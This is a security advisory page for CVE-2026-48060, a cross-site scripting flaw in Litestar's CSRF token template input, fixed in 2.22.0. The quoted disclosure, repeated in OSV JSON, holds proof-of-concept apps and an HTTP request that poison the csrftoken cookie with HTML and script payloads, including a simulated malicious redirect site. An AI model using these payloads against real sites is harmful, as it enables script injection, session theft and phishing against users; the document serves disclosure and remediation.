CVE-2026-48060: Litestar Litestar Has HTML Injection Through Vulnerability

HIGH
Advisory Identifier: GHSA-542p-wvx7-72m4
CVSS 8.1
CWE-79
Published
Advisory Summary

CVE-2026-48060 is a HIGH (CVSS 8.1) litestar has html injection through vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Litestar libraries in the PyPI ecosystem. The issue involves litestar has html injection through its csrf token. Remediation is available by upgrading affected packages to version 2.22.0.

CVE-2026-48060 at a Glance

CVE Identifier CVE-2026-48060
GHSA Identifier GHSA-542p-wvx7-72m4
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Litestar
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-48060

To remediate this vulnerability, upgrade all affected Litestar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

litestar fixed: 2.22.0
pip install litestar>=2.22.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show litestar

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-48060, inspect your installed packages using pip:

pip show litestar

Analyze the terminal output to locate any version of Litestar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.22.0), your application is affected.

Note: The pip show litestar command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Litestar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Overview Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations. We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch. # Special Configurations Required For a web application to be vulnerable to this issue, it must: - Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja) - Have CSRF protection enabled - Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token) **Links to relevant documentation for the above configurations:** - https://docs.litestar.dev/2/usage/templating.html - https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf - https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs # Reproduction Steps 1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden `input` field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction. 2. Observe that the server sets the `csrftoken` cookie when the page loads. <img width="1152" height="372" alt="litestar_csrf_cookie_in_browser_dev_tools" src="https://github.com/user-attachments/assets/252a5746-0f5f-4c78-9b9c-3ff4fb98e942" /> 3. Set the value of the `csrftoken` cookie to `"><h1>HTML Injection Test</h1>`. <img width="1142" height="426" alt="litestar_csrf_cookie_poisoned_with_html" src="https://github.com/user-attachments/assets/131e5015-e718-4539-8d03-969e81a34fdc" /> 4. Refresh the page. 5. Observe that the contents of the cookie is rendered on the page. <img width="1152" height="480" alt="litestar_successful_html_injection" src="https://github.com/user-attachments/assets/c997f679-7111-4620-a28d-25eabea34ca2" /> # Exploit Code There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious `csrftoken` cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user. The proof-of-concept applications can be started using these commands: ```bash # run poc1 python -m uvicorn poc1:app # run poc2 python -m uvicorn poc2:app ``` ## PoC 1 - Minimum Vulnerable Application This proof-of-concept demonstrates that a crafted `csrftoken` cookie will be rendered on the vulnerable page as HTML. **poc1.py** ```python from litestar import Litestar, get, MediaType from litestar.response import Template from litestar.config.csrf import CSRFConfig import jinja2, os from pathlib import Path from litestar import Litestar from litestar.contrib.jinja import JinjaTemplateEngine from litestar.template.config import TemplateConfig @get("/") async def hello_world() -> Template: return Template( template_name="test.jinja", media_type=MediaType.HTML, ) ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader( searchpath=os.path.join(os.path.dirname(__file__), "templates") ), autoescape=True, ) csrf_config = CSRFConfig(secret="my_super_duper_secret") app = Litestar( route_handlers=[hello_world], template_config=TemplateConfig( directory=Path("templates"), engine=JinjaTemplateEngine.from_environment(ENVIRONMENT), ), csrf_config=csrf_config, ) ``` **test.jinja** ```html <html> <body> <div> <form method="post"> {{ csrf_input | safe }} <label for="fname">Username:</label><br> <input type="text" id="username" name="username"><br> <label for="lname">Password:</label><br> <input type="text" id="password" name="password"> <input type="submit"> </form> </div> </body> </html> ``` Sending the following request to the vulnerable page will result in the HTML included in the `csrftoken` cookie being injected and rendered on the page. ```http GET /vulnerable HTTP/1.1 Host: localhost:8000 Cookie: csrftoken="><h1>HTML Injection Test</h1> ``` <img width="577" height="328" alt="litestar_html_injection_poc_result" src="https://github.com/user-attachments/assets/69590b08-1066-487d-ac37-62f64333de5a" /> ## PoC 2 - Simulated Attack Delivery This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided. First, the user must visit a malicious application (the `/first_site` endpoint in `poc2.py`) which sets the `csrftoken` cookie value to a malicious payload. This app must be hosted on the *same top level domain* as the vulnerable application so that the poisoned cookie will automatically be sent by the user's browser to the vulnerable page. Next, the malicious app *redirects* the user to the vulnerable app (the `/second_site` endpoint in `poc2.py`). The victim's browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user's browser **poc2.py** ```python from litestar import Litestar, get, post, MediaType from litestar.response import Template from litestar.config.csrf import CSRFConfig from litestar.datastructures import Cookie import jinja2, os from pathlib import Path from litestar import Litestar from litestar.contrib.jinja import JinjaTemplateEngine from litestar.template.config import TemplateConfig cookie_payload = '"><script>alert(document.domain)</script>' # malicious site which poisons the csrf cookie @get("/first_site", response_cookies=[Cookie(key="csrftoken", value=cookie_payload, httponly=True)]) async def first_site() -> Template: return Template( template_name="page1.jinja", media_type=MediaType.HTML, ) # vulnerable site @get("/second_site") async def second_site() -> Template: return Template( template_name="page2.jinja", media_type=MediaType.HTML, ) # example function for form submission if csrf verification succeeds @post("/form_receive") async def handle_form() -> dict[str, str]: return { "message": "form data received successfully" } ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader( searchpath=os.path.join(os.path.dirname(__file__), "templates") ), autoescape=True, ) csrf_config = CSRFConfig(secret="my_super_duper_secret") app = Litestar( route_handlers=[first_site, second_site, handle_form], template_config=TemplateConfig( directory=Path("templates"), engine=JinjaTemplateEngine.from_environment(ENVIRONMENT), ), csrf_config=csrf_config, ) ``` **page1.jinja** ```html <html> <body> <h1>Setting cookie...</h1> <script> setTimeout(() => { window.location.href="/second_site" }, 2000); </script> </body> </html> ``` **page2.jinja** ```html <html> <body> <div> <form action="/form_receive" method="post"> {{ csrf_input | safe }} <label for="fname">Username:</label><br> <input type="text" id="username" name="username"><br> <label for="lname">Password:</label><br> <input type="text" id="password" name="password"> <input type="submit"> </form> </div> </body> </html> ``` <img width="887" height="223" alt="litestar_poc_first_page_setting_cookie" src="https://github.com/user-attachments/assets/4e8f70e4-fb44-47f6-8e15-42b512cc224f" /> <img width="885" height="366" alt="litestar_poc_second_page_xss" src="https://github.com/user-attachments/assets/a8d57c66-0424-483c-ac92-4694d4e08500" /> # Impact This vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of "Adding CSRF inputs" within the "Templating" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user's browser. This includes `script` tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim's browser. Depending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form. # Resources - https://cwe.mitre.org/data/definitions/79.html - https://docs.litestar.dev/2/usage/templating.html - https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf - https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs

CVE-2026-48060 Affected Litestar Versions

1 component(s)
Fixed Versions:
2.22.0
Product / Package Ecosystem Affected Versions Fixed Version
litestar
PyPI
< 2.22.0
2.22.0

References

Frequently Asked Questions

What is CVE-2026-48060?
CVE-2026-48060 is a security vulnerability in Litestar involving Litestar has HTML Injection Through its CSRF Token under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Litestar versions are affected?
Affected versions include releases prior to 2.22.0 across affected packages: litestar.
What version fixes CVE-2026-48060?
Upgrading to 2.22.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is litestar affected?
Yes, litestar is affected in releases prior to 2.22.0. Upgrade your dependency to 2.22.0 or later.
What is the CVSS score of CVE-2026-48060?
CVE-2026-48060 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-48060?
CVE-2026-48060 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2026-48060?
Run the dependency tree command: 'pip show litestar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-542p-wvx7-72m4",
  "modified" : "2026-06-10T19:12:05Z",
  "published" : "2026-06-10T19:12:05Z",
  "aliases" : [ "CVE-2026-48060" ],
  "summary" : "Litestar has HTML Injection Through its CSRF Token",
  "details" : "# Overview\n\nLitestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations.\n\nWe used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch.\n\n# Special Configurations Required\n\nFor a web application to be vulnerable to this issue, it must:\n\n- Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja)\n- Have CSRF protection enabled\n- Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token)\n\n**Links to relevant documentation for the above configurations:**\n\n- https://docs.litestar.dev/2/usage/templating.html\n- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf\n- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs\n\n# Reproduction Steps\n\n1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden `input` field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction.\n2. Observe that the server sets the `csrftoken` cookie when the page loads.\n\n<img width=\"1152\" height=\"372\" alt=\"litestar_csrf_cookie_in_browser_dev_tools\" src=\"https://github.com/user-attachments/assets/252a5746-0f5f-4c78-9b9c-3ff4fb98e942\" />\n\n3. Set the value of the `csrftoken` cookie to `\"><h1>HTML Injection Test</h1>`.\n\n<img width=\"1142\" height=\"426\" alt=\"litestar_csrf_cookie_poisoned_with_html\" src=\"https://github.com/user-attachments/assets/131e5015-e718-4539-8d03-969e81a34fdc\" />\n\n4. Refresh the page.\n5. Observe that the contents of the cookie is rendered on the page. \n\n<img width=\"1152\" height=\"480\" alt=\"litestar_successful_html_injection\" src=\"https://github.com/user-attachments/assets/c997f679-7111-4620-a28d-25eabea34ca2\" />\n\n# Exploit Code\n\nThere are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious `csrftoken` cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user. \n\nThe proof-of-concept applications can be started using these commands:\n\n```bash\n# run poc1\npython -m uvicorn poc1:app\n\n# run poc2\npython -m uvicorn poc2:app\n```\n\n## PoC 1 - Minimum Vulnerable Application\n\nThis proof-of-concept demonstrates that a crafted `csrftoken` cookie will be rendered on the vulnerable page as HTML. \n\n**poc1.py**\n\n```python\nfrom litestar import Litestar, get, MediaType\nfrom litestar.response import Template\nfrom litestar.config.csrf import CSRFConfig\nimport jinja2, os\nfrom pathlib import Path\nfrom litestar import Litestar\nfrom litestar.contrib.jinja import JinjaTemplateEngine\nfrom litestar.template.config import TemplateConfig\n\n@get(\"/\")\nasync def hello_world() -> Template:\n    return Template(\n        template_name=\"test.jinja\",\n        media_type=MediaType.HTML,\n    )\n\nENVIRONMENT = jinja2.Environment(\n    loader=jinja2.FileSystemLoader(\n        searchpath=os.path.join(os.path.dirname(__file__), \"templates\")\n    ),\n    autoescape=True,\n)\n\ncsrf_config = CSRFConfig(secret=\"my_super_duper_secret\")\n\napp = Litestar(\n    route_handlers=[hello_world],\n    template_config=TemplateConfig(\n        directory=Path(\"templates\"),\n        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),\n    ),\n    csrf_config=csrf_config,\n)\n```\n\n**test.jinja**\n\n```html\n<html>\n    <body>\n        <div>\n            <form method=\"post\">\n                {{ csrf_input | safe }}\n                <label for=\"fname\">Username:</label><br>\n                <input type=\"text\" id=\"username\" name=\"username\"><br>\n                <label for=\"lname\">Password:</label><br>\n                <input type=\"text\" id=\"password\" name=\"password\">\n                <input type=\"submit\">\n            </form>\n        </div>\n    </body>\n</html>\n```\n\nSending the following request to the vulnerable page will result in the HTML included in the `csrftoken` cookie being injected and rendered on the page. \n\n```http\nGET /vulnerable HTTP/1.1\nHost: localhost:8000\nCookie: csrftoken=\"><h1>HTML Injection Test</h1>\n```\n\n<img width=\"577\" height=\"328\" alt=\"litestar_html_injection_poc_result\" src=\"https://github.com/user-attachments/assets/69590b08-1066-487d-ac37-62f64333de5a\" />\n\n## PoC 2 - Simulated Attack Delivery\n\nThis proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided. \n\nFirst, the user must visit a malicious application (the `/first_site` endpoint in `poc2.py`) which sets the `csrftoken` cookie value to a malicious payload. This app must be hosted on the *same top level domain* as the vulnerable application so that the poisoned cookie will automatically be sent by the user's browser to the vulnerable page. \n\nNext, the malicious app *redirects* the user to the vulnerable app (the `/second_site` endpoint in `poc2.py`). The victim's browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user's browser\n\n**poc2.py**\n\n```python\nfrom litestar import Litestar, get, post, MediaType\nfrom litestar.response import Template\nfrom litestar.config.csrf import CSRFConfig\nfrom litestar.datastructures import Cookie\nimport jinja2, os\nfrom pathlib import Path\nfrom litestar import Litestar\nfrom litestar.contrib.jinja import JinjaTemplateEngine\nfrom litestar.template.config import TemplateConfig\n\ncookie_payload = '\"><script>alert(document.domain)</script>'\n\n# malicious site which poisons the csrf cookie\n@get(\"/first_site\", response_cookies=[Cookie(key=\"csrftoken\", value=cookie_payload, httponly=True)])\nasync def first_site() -> Template:\n    return Template(\n        template_name=\"page1.jinja\",\n        media_type=MediaType.HTML,\n    )\n\n# vulnerable site\n@get(\"/second_site\")\nasync def second_site() -> Template:\n    return Template(\n        template_name=\"page2.jinja\",\n        media_type=MediaType.HTML,\n    )\n\n# example function for form submission if csrf verification succeeds\n@post(\"/form_receive\")\nasync def handle_form() -> dict[str, str]:\n    return {\n        \"message\": \"form data received successfully\"\n    }\n\n\nENVIRONMENT = jinja2.Environment(\n    loader=jinja2.FileSystemLoader(\n        searchpath=os.path.join(os.path.dirname(__file__), \"templates\")\n    ),\n    autoescape=True,\n)\n\ncsrf_config = CSRFConfig(secret=\"my_super_duper_secret\")\n\napp = Litestar(\n    route_handlers=[first_site, second_site, handle_form],\n    template_config=TemplateConfig(\n        directory=Path(\"templates\"),\n        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),\n    ),\n    csrf_config=csrf_config,\n)\n```\n\n**page1.jinja**\n\n```html\n<html>\n    <body>\n        <h1>Setting cookie...</h1>\n        <script>\n            setTimeout(() => {\n                window.location.href=\"/second_site\"\n            }, 2000);\n        </script>\n    </body>\n</html>\n```\n\n**page2.jinja**\n\n```html\n<html>\n    <body>\n        <div>\n            <form action=\"/form_receive\" method=\"post\">\n                {{ csrf_input | safe }}\n                <label for=\"fname\">Username:</label><br>\n                <input type=\"text\" id=\"username\" name=\"username\"><br>\n                <label for=\"lname\">Password:</label><br>\n                <input type=\"text\" id=\"password\" name=\"password\">\n                <input type=\"submit\">\n            </form>\n        </div>\n    </body>\n</html>\n```\n\n<img width=\"887\" height=\"223\" alt=\"litestar_poc_first_page_setting_cookie\" src=\"https://github.com/user-attachments/assets/4e8f70e4-fb44-47f6-8e15-42b512cc224f\" />\n\n<img width=\"885\" height=\"366\" alt=\"litestar_poc_second_page_xss\" src=\"https://github.com/user-attachments/assets/a8d57c66-0424-483c-ac92-4694d4e08500\" />\n\n# Impact\n\nThis vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of \"Adding CSRF inputs\" within the \"Templating\" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user's browser. This includes `script` tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim's browser. \n\nDepending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form. \n\n# Resources\n\n- https://cwe.mitre.org/data/definitions/79.html\n- https://docs.litestar.dev/2/usage/templating.html\n- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf\n- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "litestar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/security/advisories/GHSA-542p-wvx7-72m4"
  }, {
    "type" : "WEB",
    "url" : "https://docs.litestar.dev/2/release-notes/changelog.html#2.22.0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/litestar-org/litestar"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-10T19:12:05Z",
    "nvd_published_at" : null
  }
}